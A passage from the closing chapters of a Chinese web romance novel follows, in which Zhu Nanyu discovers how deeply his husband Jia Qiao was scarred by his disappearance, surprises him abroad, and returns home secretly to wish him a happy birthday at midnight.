才缓缓放下。 由于时差缘故, 窗外,春日暖阳刚刚升起, 明灿灿洒在屋后的竹林。 伽巧去国外长期出差之后, 祝南屿不需要特别照顾,所以给鹿珉放了假。 鹿珉担任管家之后,因为要照顾伽巧,连节假日都不曾休息。听说主人要去国外出差, 他原本也想跟随,结果卡在护照和签证两个环节,只好泪眼汪汪目送伽巧独自离开。 鹿珉十分难过。 不带小娇夫也就算了,为什么不能带我! 悲愤之下,鹿珉毫不犹豫拖着行李箱,决定休个大假! 偌大的山间别墅,只剩下祝南屿一个人影。 如果只有他自己,没必要消耗那么多通勤时间,往返于公司和别墅。 可别墅里还养着淇奥,总不能让1岁小狗独守空巢。 祝南屿当然想过,把淇奥带到宠物店寄养,或者养在婚房。 送到宠物店太委屈淇奥,养在婚房侵占二人空间,又太委屈祝南屿。 几番权衡之下,只能祝南屿抽出休息时间,回到别墅照顾精力旺盛的狗崽子。 “淇奥。”祝南屿招呼狗崽子,“今天天气挺好,我们出去多玩一会儿吧。” “汪呜……” 淇奥有气无力叫了声,把脑袋埋进狗窝,短暂逃避狗生。 平常两个主人在家,总是亲亲热热黏在一起。 淇奥靠近他们,总有种没吃什么突然饱了的感觉,必须千方百计吸引他们主意。 最近不知怎么,只有个子比较高的主人回家。 他仿佛在屋子里呆不住似的,一有空就带着淇奥出门遛弯,硬生生把遛狗搞出熬鹰的感觉。 淇奥只是个未成年小狗,再怎么活泼也需要休息,实在熬不动。 奈何有一种遛狗,叫做人觉得你想遛。 次数多了,淇奥一听到祝南屿叫自己名字,就立刻躲进狗窝,蹬直后腿装死。 奥斯卡最佳狗主角非它莫属! “淇奥?淇奥……怪了,你不是每天早晨都要出门吗?”祝南屿叫了好几声,见淇奥毫无反应,疑惑地嘀咕。 天道好轮回。 淇奥为自己每天早晨的扰人行为,感觉到深刻的懊悔。 祝南屿实在叫不动淇奥,只好作罢,自己想办法打发时间。 因为鹿珉工作卖力,别墅上上下下打理得井井有条,没有祝南屿需要做的。 祝南屿实在闲得发慌,仔仔细细观察别墅每个角落,想找出有没有平常疏忽的地方。 偌大的别墅内部,除了几间卧室之外,总共有五个房间,分别是书房、仓库、影音室、宠物房、还有后来才布置的游戏房。 其他几个房间,祝南屿还算熟悉,仓库倒是从未去过。 有一次他靠近仓库,鹿珉突然拦住,告诉他里面东西很乱不要随便打开。 祝南屿不愿给别人增添工作量,所以没再靠近过仓库。 今天家里只有他一个人,祝南屿又很有时间,站在仓库前伸手握住门把。 ‘吱呀——’ 仓库门发出沉重的声音。 里面光线昏暗,弥漫着被尘封已久的气味。 祝南屿按亮墙上的灯,冷白的灯光洒落,仓库比想象中更加凌乱。 角落里堆满大大小小的物件,都是祝南屿曾经送给他的,本以为搬家时应该丢掉了。 没想到,他一直带在身边。 祝南屿几步走过去,拿起一个小猪形状的涂色石膏摆件。 这是很久很久之前,自己带伽巧去逛夜市,看到有个摊位围满小朋友,正在用颜料给石膏涂色。 伽巧多看了两眼,祝南屿问他要玩哪个,他随便指了个小猪。 祝南屿买下那个小猪,让伽巧坐在小朋友中间涂色,结果他根本没有接触过‘绘画’这项艺术,拿反了颜料弄得满身都是。 旁边小孩见了,嘻嘻哈哈笑他,“衣服脏了,你这样会被家长骂哦!” “会吗?”伽巧抬头看向祝南屿。 默认自己是‘家长’吗? 莫名其妙超级加辈的祝南屿,只觉得伽巧可爱,手把手带他画完了那个小猪摆件。 这段回忆祝南屿依然记得,只是……若没有看到这个摆件,他恐怕再也不会想起。 环顾四周,充满回忆的东西有许多许多,伽巧都一直留着,甚至连搬家也要带走。 他一直以为,自己是这段感情付出更多的一方。 先爱的总是要辛苦一些,祝南屿这样想当然,没有刻意追究过伽巧什么时候爱上自己,究竟爱自己多少。 现在想想—— 所谓当局者迷,大概是指自己。 确实,伽巧投入的感情没有那么多,似乎连沉沦也是淡淡的。 可他感情本来就不多,能给的都给自己的。 就好像两个深度流速都不同的蓄水池,自己那个早就积满了水,可以持续、磅礴、源源不断倾泻,用丰沛的感情让伽巧沉溺。 伽巧那个浅浅、慢慢的蓄水池,只能存住一点点水,少得甚至不易察觉。 但是每次、每次,他都毫无保留,全部给了祝南屿。 “救命。” 祝南屿轻声呢喃,身体微微颤抖。 仓库空旷又安静,安静到能够听到心跳的鼓噪。 “他好像比想象中,更喜欢我一点。” 意识到这件事,祝南屿兴奋地难以自持。 爱情这种事,多少无法拿来比较,但程度可以。 自己跟伽巧,都100%爱着对方,还有比这个更让人喜悦的事情吗? 祝南屿招来清洁工具,仔仔细细擦干净每个物件的灰尘,然后一一摆到合适的位置。 清理完那个角落,祝南屿转过身,看到一个奇怪的‘景点’。 旁边的架子上,单独空出一格,上面摆着七零八落的花瓶、水杯、甚至遥控器…… 它们明显不是被摔碎的,而是用力捏碎的,一个不锈钢质地的瓶子上,还留有清晰的指印。 祝南屿对比了一下大小,是伽巧的。 底下都有小小的便签纸,记录着时间。 祝南屿挨个看过去,看到某个目测质地很坚硬的玻璃碎片,上面还留着血痕。 鹿珉在便签纸上,画了个哭泣的小兔子。 小兔子脑袋上冒出气泡,仿佛说话似的: ‘讨厌下雨。’ “?”祝南屿瞬间意识到什么,按照纸片上的日期查询天气,无一例外都是下雨天。 下雨,就像自己消失那天。 凭他对伽巧的了解,他大概不会在清醒的时候,通过摔砸手边物体泄愤。 所以更有可能的是,这些是伽巧无意识破坏的。 人在什么时候最容易意识混乱? 答案呼之欲出。 伽巧每个雨夜,都会在睡梦中遭受侵扰,然后身体失去对力气的掌控,破坏手边的物品。 他睡觉时发生了什么? 或者在睡梦中看到了什么? 问题刚刚成型,祝南屿心里已经隐隐约约有了答案。 他以为伽巧没那么在乎自己,过去四年只不过比较孤单而已。 可就在几分钟前,他发现伽巧的爱不比自己少。 消失的那四年,自己一直是伽巧噩梦的根源。 祝南屿定定站了许久,缓了一会儿才拿出手机,快速发了条消息. “嗨~” 会议结束,金发碧眼的女高管叫住伽巧。 “明天放假,你接下来有安排吗?要不要跟我约会啊?” 国外的办公氛围跟国内不太一样,下班后很少有‘应酬’,经常有同事约着一起吃饭逛街。 伽巧摇摇头表示拒绝,按照原定的路线回到酒店。 倒不是讨厌跟同事搞好关系,只是他本来就讨厌约会。 明天放假,他宁愿在家里窝着打游戏。 说道游戏,伽巧突然想到,自己昨晚约祝南屿组队打游戏,他却说工作忙拒绝了。 被拒绝倒是无所谓,伽巧又不是青春期小孩,不会纠缠祝南屿计较‘工作跟我哪个比较重要’。 ——那当然是工作啊! 祝南屿如果没有钱,伽巧当初不会多看他一眼。 但怪异之处在于,祝南屿通常拒绝他之后,会告诉伽巧什么时候能忙完。 昨天却没有说。 两个国家时差不同,但双休日相同。 最近不是季末,千合工作量没那么大,而且公司向来没有周末强制加班的传统。 总不能连玩两局游戏的时间都抽不出来吧? 伽巧又想了想。 每次祝南屿陪自己玩游戏,几乎都是两个人呆在一起。 他接管游戏主导权,伽巧窝在他怀里乖乖被抱着,答应了还会贴过去跟他接吻。 祝南屿消失后,伽巧也想过找别人帮忙管理账号,发现大部分人代打是需要收费的。 也许在祝南屿的认知中,亲亲和抱抱抵消了代打游戏的费用。 远程陪玩碰不到摸不着,所以没什么兴趣,故意找理由拒绝。 这、这么现实吗? 伽巧意识到这点,咂了下舌,小声嘀咕道,“不能先欠着吗?” 只是亲亲抱抱而已,出差结束他肯定会还的。 还是说,不立刻支付就不行吗? 哪怕算利息也不行吗?真小气。 伽巧独自纠结一会儿,放弃思考,打开手机准备找祝南屿问个清楚。 结果电话拨过去,却传来机械提示音: ‘您拨打的用户已关机,请稍后再拨。Sorry……’ 伽巧手指捏紧,无意识咬紧牙。 关机? 关机! 伽巧气笑了,眼底却没有半点温度,立刻将电话拨到公司那边。 蔡汐接起电话,听说伽巧问祝南屿的行踪,回答道,“不知道啊,祝董昨天安排完工作之后,就没再出现了。” “他今天没去公司?”伽巧拿开手机,瞥了眼时间。 自己这边已经傍晚了,但国内应该刚过中午。 祝南屿竟然一个早上没有上班,手机还关机,莫非—— 普通人遇到类似情况,可能会怀疑丈夫出轨,做什么见不得人的事。 伽巧太了解祝南屿的变态程度,除了自己,别人很难激发他的‘兴趣’。 排除在外面乱搞的可能性,祝南屿招呼都不打,突然消失这么久,很有可能因为…… 出事了? 想到他在外面结的那些仇家,祝家故交、锐科残党,还有连伽巧都不知道的阿猫阿狗。 那些人想报复祝南屿,不是完全没可能。 祝南屿看起挺高一只,其实弱得要命,在自己手下根本撑不住三十分钟。 伽巧想到这里,眉头紧皱,越来越担忧,立刻联系与自己同行的翻译。 “帮我订一张今天回国的机票。” “今天?”助理为难地说,“伽董,今天回国的航班已经全部起飞了。” 伽巧眉头皱得更深,“那明天呢?” “明天凌晨倒是有一班,但是气象局发布了暴雨预警,飞机可能会延迟起飞。” 伽巧走到窗户边,果然看到云层压得很低,一副暴雨欲来的架势。 就算自己买明天的航班赶回去,十几个小时的航程,祝南屿还不知道会被怎么样。 “伽董,还定吗?” “先定,我再想想别的办法。”伽巧挂断电话,有些后悔当初答应得那么干脆。 丈夫那么柔弱,自己应该留在身边保护他才对。 他正失神,突然,一滴雨水落在玻璃上,然后是泄洪般的稀里哗啦。 伽巧仰起脸,望着如同断了线的雨幕,似乎被扯进讨厌的回忆里。 又是雨天。 又是怎么也打不通的电话。 如果,又在这样的暴雨中…… ‘咚咚咚——’ 外面传来敲门声。 “谁?”伽巧走到门边按下通话,冷声问。 “客房服务。”外面用中文回到。 奇怪,明明前几天都是翻译机。 大概是住得时间久了,酒店知道自己是哪国人,所以特意换了懂中文的服务生。 “我没有点客房服务。”伽巧声音依然冰冷,丝毫没有放他进来的意思。 “没有吗?”外面传来响动,似乎翻找了一阵,才继续说,“是一位姓‘祝’的先生为你点的。” 伽巧听到‘姓祝’,立刻改口道,“进来吧。” 房门打开,身穿制服带着礼帽的服务生,推着一个蒙着餐布的推车进入房间。 推车上摆着看起来非常正宗的中式晚餐,还有冰桶。 冰桶里面不是红酒,而是几罐可乐。 不愧是祝南屿,精准拿捏他的喜好。 既然能够点赞,说明他应该没出什么事情吧? 可为什么不接电话? 难道因为那个不太可能的理由,他在跟别人约会吗? 伽巧脑补祝南屿跟别人约会的场景。 虽然脑补不出来,但不妨碍他生气,拿出手机再次拨通祝南屿的号码。 号码刚拨通,房间里同时响起来电铃。 伽巧缓缓扭过头,看向把餐车推进来的‘服务生’。 “我应该难过你竟然没有认出我,还是应该高兴你在外面根本不会多看别人一眼呢?”祝南屿摘下礼帽,从口袋里拿出电话,按下接通,轻笑着问,“礼物还满意吗?” 伽巧盯着他的脸,生平第一次露出近乎大悲大喜的神色,立刻扔下手机飞扑过去,挂在祝南屿身上深深吻住对方。 “等等,这套制服是我向酒店……别那么急,娇娇。”祝南屿被他推得后退两步,吻得毫无章法,腾出手散开伽巧的长发轻轻抚摸。 “抱歉,本来想给你惊喜的。”祝南屿歉疚地说,“飞过来实在太久了,机舱不提供网络,下飞机才知道你给我打了很多电话。” 伽巧挂在他脖子上,半晌才轻声说,“下雨了。” “嗯。”祝南屿心疼得快碎了,连声安抚,“以后每个下雨天我都陪你,随叫随到,好不好?” “……你要接我电话。”伽巧埋在他怀里,闷闷地说,“我以为你又……” 他后面的话没说完,祝南屿却猜到他要说什么,抱住伽巧近乎呜咽得道歉。 “别怕,我以后会好好保护自己,不会出任何事。”祝南屿认真地许诺,“我们要白头偕老,生死与共。” “不行。”伽巧纠正道,“你要死在我后面,我不想看着你死。” “那我……”祝南屿想说什么,又觉得继续纠结这个话题不吉利,无奈地点点头,“我尽力。” 伽巧这才满意,慢慢恢复平常的模样,追问祝南屿为什么会过来。 理由其实有很多,但归根究底还是因为—— “我想你了。”祝南屿揉揉他的脸,“明明分开没几天,可是我在家里度日如年,一分钟也等不下去。” 伽巧告诉他,“周医生说,你这个叫分离焦虑,建议你去精神科挂个号。” “好,我现在就去。”祝南屿作势要走。 伽巧抱着他的腰,像无尾熊似的挂在祝南屿身上,“他说,我应该也有分离焦虑,让我们一起去挂号。” 祝南屿被可爱到了,实在迈不开腿,就着这个姿势抱起伽巧,掂了掂分量。 “又瘦了。” “白人饭太难吃了。” “等会儿尝尝我的手艺。” 伽巧趴在他肩头,看了眼推进来的餐车,眼馋地问,“现在呢?” “现在不行,你要先喂我。”. 与此同时,伽巧的山间别墅。 被祝南屿一个短信叫过来的Lanner,和留守小狗四目相对。 “真惨呢,你的爸爸和daddy都不要你了。”Lanner仿佛小孩们最讨厌那种亲戚,故意戏弄淇奥,“要不要跟叔叔回家?” “汪呜。”过年期间,因为Lanner来家里拜年,勉强算是熟人的范围。 可淇奥特别不喜欢Lanner,大概是同族相斥的原因,见到他连尾巴都耷拉着。 被迫成为临时宠物饲养员的Lanner,还要被这只狗子嫌弃,莫名燃起想要报复的冲动,冲过去对着它一阵瘙痒。 “汪汪汪!”淇奥被烦得受不了,追着Lanner满屋子跑。 跑着跑着,撞到桌子,掉下来一个纸袋,里面装着祝南屿刚刚印出来的请帖样品。 “呦,他们婚礼的请帖啊。我现在拿走,是不是第一个收到请帖的人?” Lanner捡起来,好奇地翻了翻,发现上面看起来像印刷体的文字,竟然是祝南屿手写的。 “这家伙……真像孔雀开屏一样。” 因为认识也算很久了,Lanner清楚知道祝南屿从前的模样。 第一次见面,明明自己比他年长好几岁,但祝南屿身上散发出‘不跟小孩玩’的高冷气息,惹得周围大人都让他迁就一点Lanner。 后来再见面,已经是祝南屿留学阶段。 虽然年纪比较小,他却是Lanner 的学长,而且成绩亮眼到被学校拿来当做宣传样本。 Lanner成绩不算差,但稍微有些偏科,只能哀求祝南屿跟熟悉的老师说说情。 祝南屿答应了,Lanner却有种微妙的感觉,以为再也还不上这个人情。 直到后来,祝南屿遇到伽巧,迅速像变了一个人那样,隔三差五向Lanner打听怎么讨恋人开心。 这么想起来,祝南屿的屏,已经开了很久很久。 “算了,你还是不要跟叔叔回家了。”Lanner搓搓淇奥的狗头,“你daddy很爱爸爸,你也会成为幸福的小孩。” 说话间,手机提示音响起,Lanner正好收到祝南屿穿过来的消息。 没有文字,只有几张照片。 照片背景很糊,只有走在前面的人,还有他们交握的手是清晰的,两枚戒指靠在一起闪闪发亮。 “汪汪汪!”淇奥把狗头钻进他怀里,目不转睛盯着放大的照片,叫得非常亲热,仿佛在炫耀自己有一对全世界最恩爱的家长。 恰此时,祝南屿又传来新照片。伽巧在路上遇到一只流浪小猫,蹲在路边给它喂猫条。 “汪汪汪!!!” 淇奥叫声变得无比凄厉- 作者有话说: Lanner:只闻新猫笑不知旧狗哭……《 》 【终章】 第55章 几个月后。 又到了秋天, 凉丝丝的秋雨断断续续下了半个月,整个A市空气湿度都提高了不少。 天色总是阴阴的,即使到了中午依旧雾蒙蒙, 仿佛还未破晓,特别适合窝在床上睡懒觉。 今天是周末, 伽巧困困地打着哈欠, 拿过闹钟看了眼时间, 差几分钟就十二点了。 “这么晚了?我以为还早呢。”伽巧翻了个身, “还是起床吧。” 虽然曾经斩钉截铁、信誓旦旦、义正言辞对祝南屿说:周末睡懒觉会影响周内的工作! 但是,被祝南屿养得久了, 伽巧又变成一条咸鱼, 生物钟越来越混乱, 睡懒觉的‘坏毛病’又故态复萌。 “好困啊。”伽巧嘟囔着, 慢吞吞走进厨房。 打开冰箱, 里面放了几个保鲜盒, 上面用便利贴标注日期和加热时间。 伽巧拿出写有今天日期的保鲜盒, 放进微波炉加热几分钟。 打开盖子,是一份清淡的蔬菜瘦肉粥,祝南屿出发之前特意熬的。 婚房里格外安静, 祝南屿要参加什么交流会, 昨天就去外省出差了。 墙上挂着两个人的新结婚照,本来以为会跟旧的差不多, 规规矩矩那种。 可祝南屿仗着家里不经常有人来, 选了最没形象的。 照片里,伽巧醉得眼神涣散,脸上还沾着奶油,挂在祝南屿身上非要给他喂结婚蛋糕, 不吃就嘴对嘴喂过去。 笑死。 他都这么喂了,就算是毒药祝南屿也会乖乖张嘴。 摄影师听说他们要把这张照片裱起来,憋笑憋得肩膀都在颤抖。 伽巧当然抗议过! 他醉了以后会断片,已经忘了当时发生什么事,感觉莫名其妙被制造了一段黑历史。 后来从Lanner口中知道,自己压着祝南屿,足足给他喂了半个小时蛋糕,惹得某个不喜欢甜食的人差点打胰岛素。 伽巧:……我不是,我没有。 祝南屿只是笑笑,愉快地说,“我们结婚,你跟我一样开心。” 所以,祝南屿让摄影师拍照记录了那个瞬间。 伽巧默默把抗议憋回去,任由家里挂了那么大一副‘丑照’。 “好安静啊。”伽巧小声嘀咕。 婚房有多余的房间,同小区也有在售的闲置房,但鹿珉和淇奥依然住在山间别墅。 鹿珉是个哑巴,在城市里要承受许多额外注视,生活难免遭受影响。 对于淇奥来说,婚房再大,始终比不过能自由奔跑的山野。 而且,伽巧也挺喜欢自己的小别墅。 当初买下的时候,只想要个住处,日子久了逐渐有‘家’的感觉,窗外的竹林总能让他心情平静。 现在因为上班,再加上某个人喜欢二人世界的关系,伽巧住在婚房这边比较多。 但有空的时候,总会回到别墅换换心情。 “反正没什么事情,回去吧。” 伽巧做出决定,拿起手机联系司机。 他刚刚睡醒,困得有点迷糊,忘记告诉鹿珉自己要回去的消息。 直到车子停在别墅前,伽巧看到自己平常使用的停车位,居然停着另一辆车,不禁有些意外。 自己不在别墅,谁会过来拜访? 他推开门走进别墅,屋里的人立刻听到动静。 可惜鹿珉没办法开口打招呼,像兔子似的蹦蹦跳跳跑过来。 淇奥比他跑得更快,围着伽巧嗷嗷乱叫。 淇奥现在已经一岁半了,体形相当于成年哈士奇,毛色油光水亮一看就养得很好。 作为一只纯种二哈,淇奥拆家本领与日俱增,狂奔着迈开爪打算扑到伽巧。 伽巧反应灵敏,往旁边躲了下,让狗子扑了个空,撞到旁边的门板上,用爪爪捂住狗头嗷呜嗷呜乱叫。 ‘主人,你回来了!!!’ 鹿珉激动地画了一圈小兔子,眼睛blingbling冒着星星,内心感谢小娇夫在大好的日子出差。 否则,他肯定没机会见到主人! 同样感到幸运的,还有家里另一个人。 “看来,我很会挑时间。” 因为外面飘了雨,池尽染原本打算等雨停再回去,留在别墅多喝了两杯茶,没想到把伽巧盼回来了。 她今天来到这边,主要是为了给伽巧送生日礼物。 明天就是10月14日。 过去几年,伽巧从未公开庆祝过生日,但送到别墅的礼物都会收下。 池尽染这一点跟祝南屿很像,没有当面逼问伽巧什么。 而是默默准备好礼物,按照伽巧的习惯送来别墅这边。 “妈妈。”伽巧没想到能看到她,立刻坐过去问她什么时候过来,怎么不联系自己。 听说池尽染此行的意图,伽巧没有扫兴地说‘生日只是随便登记的日期’那种话,伸手拿过池尽染准备的礼物盒。 里面又是一条束发缎带,绣工比之前那条更加精致,点缀的宝石素雅又高贵,与伽巧非常相衬。 池尽染伸手靠近,摸了摸伽巧的头发,“上次那条有些旧了,所以重新绣了一个。” “谢谢,我很喜欢。”伽巧没有说,其实祝南屿也很喜欢,拿来用在奇怪的地方。 “喜欢就好。”池尽染笑笑,又拿出一个盒子,“这是奶奶给你准备的礼物,是护身符。” “替我……我过两天回家谢谢奶奶。” “好,我跟奶奶一起在家里等你。”池尽染语气温柔,“生日快乐。” 伽巧笑弯了眼,从盒子里拿出护身符带在身上,又把新发带换上。 池尽染见他确实喜欢礼物,终究没忍住,试探性开口,“伽巧,你之前不过生日,是因为……” 如果因为祝南屿无故消失那件事,害伽巧少过了几个生日,池尽染会替儿子觉得过意不去。 哪怕不是出自祝南屿的本意,可他让伽巧的生日萌上阴翳。 每次听别人祝自己生日快乐,伽巧该有多难过啊? “不是。”伽巧猜到她肯定多想了,认真解释,“当时有很多人说,都怪我非要过生日,祝南屿才发生意外。其实,应该是他非要给我过生日。” 说着,伽巧略带无奈地叹了口气。 “我嫌过生日太麻烦,明明都不想庆祝的。” “原来如此。”池尽染松了口气,“只要你高兴怎么都好,不想庆祝的话,像现在这样收礼物可以吗?” 伽巧连忙纠正,“我现在没有那么嫌麻烦了。不过……今年准备来不及,我明年提前准备,请妈妈和奶奶参加我的生日宴。” “明年啊。”池尽染有些紧张,“26岁应该送什么生日礼物?没有更衬你的宝石了怎么办?伽巧,你有什么喜欢的东西吗?” “随便,妈妈送的礼物我都喜欢。”伽巧犹豫片刻,伸手抱住池尽染,“谢谢妈妈。” 伽巧没有自己的妈妈。 尽管池尽染一直说自己不合格,没有尽到做母亲的责任。 可伽巧还是由衷感谢,她能把自己当做小孩。 “什么话,是我该谢谢你。” 池尽染曾以为,被孩子背弃是自己的报应。 她没有后悔过,毕竟是自己做出的选择。 然而,人性真的很矛盾,明明拥有财富和安稳生活。池尽染却在午夜梦回时,感到真切的孤独,很怕就这样走到结局。 她知道,祝南屿一定不会怪她。 如果池尽染以母亲身份出现,祝南屿大概会平和的接纳,尽到赡养义务,恭敬而疏离。 池尽染害怕那样的结局。 幸好伽巧出现,让她跟儿子的关系没有那么远,反倒多了一个可以相伴的家人。 “晚上想吃什么?松鼠桂鱼好不好?南屿说你喜欢那道菜。” “他说做起来很麻烦。” “哪里麻烦?明明是他不会做。”池尽染挽起衣袖,举手投足尽显神厨风采。 “汪汪~” 淇奥刚才撞到头,眼前的星星终于消失了,听到有好吃的,立刻扑过来汪汪汪。 “没你的份。” “汪汪汪!”举报,有人虐狗! 吃过晚饭,时间有点晚了,外面原本就暗的天色变得更黑。 鹿珉收拾好客房让池尽染留宿,回过头想替伽巧准备睡前牛奶,却发现他消失后穿上外套,正准备离开。 ‘主人要走了吗?’ ‘小娇夫不是不在家吗QAQ……’ 婚房那边面积较小,还有集中供暖。 伽巧身体受不了冷,秋冬季节住在那边倒也合理。 但再过几小时就是伽巧的生日了,鹿珉很想在第一时间给主人写生日快乐。 其实过去几年,鹿珉一直是这么做的。 哪怕伽巧听不到,在他面前晃一眼也行。 本以为祝南屿在外出差,伽巧肯定会留下过夜。 哪知道,外面又下雨又刮风,他还是坚持要赶回去。 “我知道他不在家。”伽巧没回头,淡淡说,“就是想回去了。” 鹿珉毫无办法,只能目送伽巧冒着风雨坐进车里,消失在夜色中。 到了家,时间还算早,伽巧暂时没有睡意。 屋子里有恒温控制系统,暖融融的。 伽巧脱掉外套,换上毛茸茸的睡意,窝在沙发里打开游戏设备。 一时间没想好玩什么游戏,他从沙发旁边的冰箱,拿出祝南屿离开前准备的水果和饮料,全部摆在面前高度趁手的茶几上。 拆开一包薯片蘸着酸奶吃,同时百无聊赖点开微博评论区。 开始营业之后,伽巧菜得要命的游戏技术,暴露在大家眼前。 妈粉们滤镜八百层厚,不仅没有嘲笑伽巧,还说‘菜菜的也很可爱’。 为了让伽巧找回自尊,他们开始安利菜鸡也能玩的小游戏,主要以益智和经营类居多,主打一个不会死。 即使不会死,也有积分制度,伽巧总是能让分数低到一个不可思议的程度,惹得老玩家惊叹‘怎么做到的’。 最近,大家意识到益智类对伽巧而言也颇有难度,开始安利伽巧玩各种恋爱游戏。 恋爱游戏不需要操作,只需要通过选项推进剧情线,总不能再失败吧? 万万没想到,伽巧玩恋爱游戏,总是能完美打出BE线,有时候快到结局好感度还是个位数。 只有一种类型的角色例外。 心机、扭曲、高敏感角色。 在所有恋综中,这类角色都是最难攻略的类型,稍有不慎就会黑化。 偏偏是伽巧的舒适圈,总能毫不出错选到正确的选项。 为此,还有游戏公司推出一款全是心机角色的恋爱游戏,评论区都推荐伽巧快来试水。 伽巧按照他们的推荐,点开那个游戏玩了一会儿,越来越无语。 自己果然太闲了,居然独守空房,隔着屏幕攻略六个祝南屿。 明明他已经有个真正的祝南屿了。 正想着,外面突然哗啦哗啦,雨势前所未有的急。 伽巧猛地一惊,抬头看了眼窗外,又看了眼墙上的钟。 10月13日,23:55。 距离伽巧二十五岁生日,还剩五分钟。 这个时间有些熟悉。 伽巧不仅有些恍惚,仿佛过去发生的一切,都是自己的梦境。 其实真正的他,依然被困在二十岁的那个夜晚,从未离开。 “啧,我在乱想什么啊。”伽巧嘀咕,不耐烦地揉了把头发。 跟祝南屿呆久了,连他也变得胡思乱想。 虽然同样是这个时间,同样大暴雨,但自己跟祝南屿没有约好要见面。 昨天,祝南屿出发前,特意确认过行程,他至少要等后天才能回来。 再怎么说,同样的场景也不可能发生第二次。 如果—— 伽巧盯着时间,一分一秒过去。 如果再发生的话。 伽巧垂下眼。 他也不知道会变成怎样。 满室寂静,只能听到伽巧清浅的呼吸。 终于,时间指向59分,今天快要结束了。 什么也没发生,伽巧却觉得闷闷的。 如果在梦里,这个时间,应该会响起敲门声。 自己开门之后,就会…… “娇娇。”耳边响起熟悉的声音。 那样真切,搞得伽巧都无法说服自己是幻听。 还没等伽巧回头,后面的人已经伸出手,将他抱在怀里。 “我回来了。” “你什么时候……” “早就到了,刚才趁你去洗手间的时候溜进来的。害怕被你发现,一直躲得很小心,还以为不会这么顺利,结果你一直在发呆。”祝南屿从后面抱着他,低声说,“抱歉。” 如果是平常,早在自己开门的一瞬间,哪怕伽巧在洗手间也会有所察觉。 结果他只是坐在这里,静静盯着时钟。 眼神看起来没有悲伤,只是空空的,毫无情绪。 “我回来了,早就回来了,以后都会在你身边。”祝南屿抱得更紧,余光瞥见秒针又转了一整圈,低头靠在他耳边,轻轻地说: “生日快乐。”- 作者有话说: 正文完结啦~ 番外是最开始的故事,心机祝祝×人机娇娇《 》